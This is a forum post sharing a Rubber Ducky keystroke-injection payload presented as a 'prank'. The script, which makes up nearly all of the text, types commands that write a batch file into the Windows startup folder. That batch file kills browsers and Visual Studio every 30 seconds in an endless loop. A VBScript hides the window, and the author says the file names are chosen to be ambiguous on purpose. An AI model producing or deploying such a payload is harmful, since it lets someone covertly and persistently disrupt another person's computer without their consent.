[Payload] Kill Process Duck Script Prank

[overwraith]

The following is a prank script that runs a batch loop that kills processes that you specify. A key characteristic of this particular script is that it uses a vbs script to run the batch script silently. When I was making this script I was surprised to learn that newer OSes do not run batch scripts silently. I got the vbs script someplace else, but I don't remember where. I have seen this script online on several websites though. The naming conventions of the files produced is intentionally ambiguous, ex...a.bat, b.vbs.

CONTROL ESC
DELAY 200
STRING cmd
ENTER
REM A Different directory in case the second one is inaccessable
DELAY 1000
STRING cd %userprofile%\Downloads\
ENTER
DELAY 1000
STRING cd C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
ENTER
DELAY 100
REM Delete batch file if already exists
STRING erase /Q a.bat
ENTER
REM Make the batch file
STRING copy con a.bat
ENTER
DELAY 100
STRING @echo off
ENTER
STRING :Start
ENTER
STRING taskkill /f /im "iexplore.exe"
ENTER
STRING taskkill /f /im "firefox.exe"
ENTER
STRING taskkill /f /im "devenv.exe"
ENTER
STRING taskkill /f /im "pennote.exe"
ENTER
STRING timeout /t 30
ENTER
STRING Goto Start
ENTER
CONTROL Z
ENTER
DELAY 100
REM Only way to run a batch file silently on vista/Win7
REM Delete vbs file if already exists
STRING erase /Q b.vbs
ENTER
STRING copy con b.vbs
ENTER
STRING Set WshShell = CreateObject("WScript.Shell")
ENTER
STRING WshShell.Run chr(34) & "a.bat" & Chr(34), 0
ENTER
STRING Set WshShell = Nothing
CONTROL Z
ENTER
STRING b.vbs
ENTER
DELAY 100
STRING EXIT
ENTER

Edited February 6, 2013 by midnitesnake
corrected formatting